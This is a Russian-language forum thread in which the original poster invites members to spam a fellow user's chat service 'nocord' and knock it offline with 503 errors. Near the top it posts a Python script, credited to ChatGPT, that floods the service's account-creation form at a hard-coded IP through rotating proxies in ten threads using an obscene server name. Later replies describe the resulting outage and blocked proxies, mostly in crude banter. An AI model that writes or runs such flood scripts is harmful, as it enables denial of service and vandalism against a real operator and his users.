В этом итт тхреде мы будем пользоваться сервисом nocord созданным участником нашего форума. По мере использования, делимся скриптами и прочими решениями.

Также я объявляю следующие направления специальной олимпиады:

  1. Спам сервиса сообщениями
  2. Доведение сервиса до ошибки 503
  3. tbd

Как первый участник я покажу свой (chatgpt) код:

import requests
import random
import time
from concurrent.futures import ThreadPoolExecutor

# Функция для чтения прокси из файла
def read_proxies(proxy_file):
    with open(proxy_file, 'r') as file:
        proxies = [line.strip() for line in file.readlines()]
    return proxies

# Функция для отправки формы
def submit_form(name, password, proxy):
    url = "http://91.192.22.20/create.php"

    # Формируем данные для отправки
    data = {
        'name': name,
        'password': password,
        'password2': password,
        'public_submit': 'Создать публичный сервер',
    }

    # Настроим прокси
    proxies = {
        "http": proxy,
        "https": proxy,
    }

    try:
        # Отправляем POST запрос
        response = requests.post(url, data=data, proxies=proxies, timeout=10)
        
        # Проверяем статус код ответа
        if response.status_code == 200:
            print(f"[INFO] Успешно отправлена форма для сервера: {name}")
        else:
            print(f"[ERROR] Ошибка при отправке формы для {name}. Статус код: {response.status_code}")
    except requests.RequestException as e:
        print(f"[ERROR] Ошибка при отправке формы для {name}. Ошибка: {e}")

# Основной цикл
def main():
    proxies = read_proxies('proxy.txt')  # Читаем список прокси из файла
    base_name = "пррррр посрал в парашу пррррр"
    password = "12345"
    iteration = 1

    # Создаем пул потоков с 10 рабочими потоками
    with ThreadPoolExecutor(max_workers=10) as executor:
        while True:
            # Генерируем уникальное имя сервера
            name = f"{base_name}{iteration}"
            
            # Выбираем случайный прокси из списка
            proxy = random.choice(proxies)
            
            # Выводим информацию о текущем шаге
            print(f"[INFO] Попытка отправить форму для {name} с прокси {proxy}")
            
            # Отправляем форму в отдельном потоке
            executor.submit(submit_form, name, password, proxy)
            
            # Инкрементируем итерацию
            iteration += 1

            # Увековечиваем шаг (например, задержка 1 секунда, чтобы не создавать слишком много задач одновременно)
            time.sleep(0.1)

if __name__ == '__main__':
    main()

Перемещено cocucka из tox

  • Oberstserj
    link
    fedilink
    arrow-up
    0
    ·
    1 year ago

    Исходный код Nocord’а свободен для меня, этого уже достаточно для того, чтобы быть опен сурсом.

    Винда, получается тоже опенсурсная. Для Гейтса же код свободен.

    • MrSugoma
      link
      fedilink
      arrow-up
      0
      ·
      1 year ago

      Ладно. Код старых версий Nocord’а доступен для тех, кому хацкер отдал слитые сорцы из моего хомяка.

      • Anoxemian
        link
        fedilink
        arrow-up
        0
        ·
        1 year ago

        А канал у тебя дома какой? Я почти готов продукт выкатить. Жду домен везде пропишется. Только чур не вайпать.

        • MrSugoma
          link
          fedilink
          arrow-up
          0
          ·
          1 year ago

          А канал у тебя дома какой?

          В ЛС в Nocord’е могу сказать. Мой ник там — MrSugoma.

      • shikata_ga_naiOP
        link
        fedilink
        arrow-up
        0
        ·
        1 year ago

        сугомик, разбань все айпишники и страны, я со своего хоста тоже какой-нибудь прикол прокину на твой кокорд, ну или можешь не разбанивать и сам там сиди тогда

        • MrSugoma
          link
          fedilink
          arrow-up
          0
          ·
          1 year ago

          разбань все айпишники и страны

          Может быть, разбаню. Но это не точно.

          • Anoxemian
            link
            fedilink
            arrow-up
            0
            ·
            1 year ago

            Вобщем я придумал. Постить мемасы в паблике неплохо, но скучно. Вот реальный юз-кейс, суть такова: сервис по передаче друг другу приватной полезной нагрузки - картинки/документы/whatever. Ну, типа, как атачменты в почте. Загрузил что надо передать - кинул приватную ссылку и готово. Версии две - одна полностью client side, т.е. unmanaged и версия про, придется отдельно индекс хранить и e2ee добавить.

            Тебе задачи: добавить удаление из лички сообщений, увеличить уникальность (на 10 коллизий дохуя будет), перейти на https, разбанить всех, иначе кому куда что оиправлять, если не грузится. Бегом побежал выполнять, пыль запартная. Ах, да. create.php у тебя дважды код выдает - выпрямляй руки и исправляй.

            • shikata_ga_naiOP
              link
              fedilink
              arrow-up
              0
              ·
              1 year ago

              Дай телегу (ну или добавь меня @egtwba если не хочешь свой палить)

          • Anoxemian
            link
            fedilink
            arrow-up
            0
            ·
            1 year ago

            Слыш, ты чо там разломал кхуям все? Мемасы не грузятся нихуя. Эдак у нас вся публика разбежится, ну.

            • MrSugoma
              link
              fedilink
              arrow-up
              0
              ·
              1 year ago

              Nocord сейчас всем выдает 403 из-за масштабной атаки ЛТшных ботов, которые создавали сотни тысяч юзеров, из-за чего у меня закончились inode’ы. Если я снова разрешу доступ в Nocord всем желающим, то уже за пару секунд мне сотку юзеров создадут. Решением проблемы, кроме, конечно же, вайтлиста IP-адресов, является каптча. Пожалуйста, дайте мне бесплатный российский сервис каптчи, желательно, чтобы каптча была не словесной, а картиночной (со светофорами).

              • MrSugoma
                link
                fedilink
                arrow-up
                0
                ·
                1 year ago

                Nocord снова работает в штатном режиме.

              • Anoxemian
                link
                fedilink
                arrow-up
                0
                ·
                1 year ago

                Капча - прошлый век. У тебя есть набор ip/login/UA. Зпили ограничение, типа, не чаще 1 раза в 5-10 минут с одного ip и всех делов.

                  • Anoxemian
                    link
                    fedilink
                    arrow-up
                    0
                    ·
                    1 year ago

                    не чаще 1 раза в 5-10 минут с разных ip

                    конечно же, ну ты понел.

                      • Anoxemian
                        link
                        fedilink
                        arrow-up
                        0
                        ·
                        1 year ago

                        Что толсто? А то ты поблочишь легитимный спам\мемасики, нам такого не надо.

                        • MrSugoma
                          link
                          fedilink
                          arrow-up
                          0
                          ·
                          1 year ago

                          Кстати, кто мне жирное Base64 присылает? Это мемасики или спам?

                          • MrSugoma
                            link
                            fedilink
                            arrow-up
                            0
                            ·
                            1 year ago

                            Проверил, это не мемасики.

                            • Anoxemian
                              link
                              fedilink
                              arrow-up
                              0
                              ·
                              1 year ago

                              Это мемасики. По айпи же глянь. Взял завайпал, мы так далеко не уедем.

                            • Anoxemian
                              link
                              fedilink
                              arrow-up
                              0
                              ·
                              1 year ago

                              Так, заработало. Но как-то ебейше медленно, ты что-то нахуевертил?

                              • MrSugoma
                                link
                                fedilink
                                arrow-up
                                0
                                ·
                                1 year ago

                                ты что-то нахуевертил

                                Нет.

                              • shikata_ga_naiOP
                                link
                                fedilink
                                arrow-up
                                0
                                ·
                                1 year ago

                                Да козлина он, все прокси мне заблокировал.

                • shikata_ga_naiOP
                  link
                  fedilink
                  arrow-up
                  0
                  ·
                  1 year ago

                  Нихуя ты советчик хуев. Ну ничего, анонимный постинг главное не выключайте.

                  • Anoxemian
                    link
                    fedilink
                    arrow-up
                    0
                    ·
                    1 year ago

                    Ты узко мыслишь, я же пестую продукт, полный лулзов, мы не одинаковые)))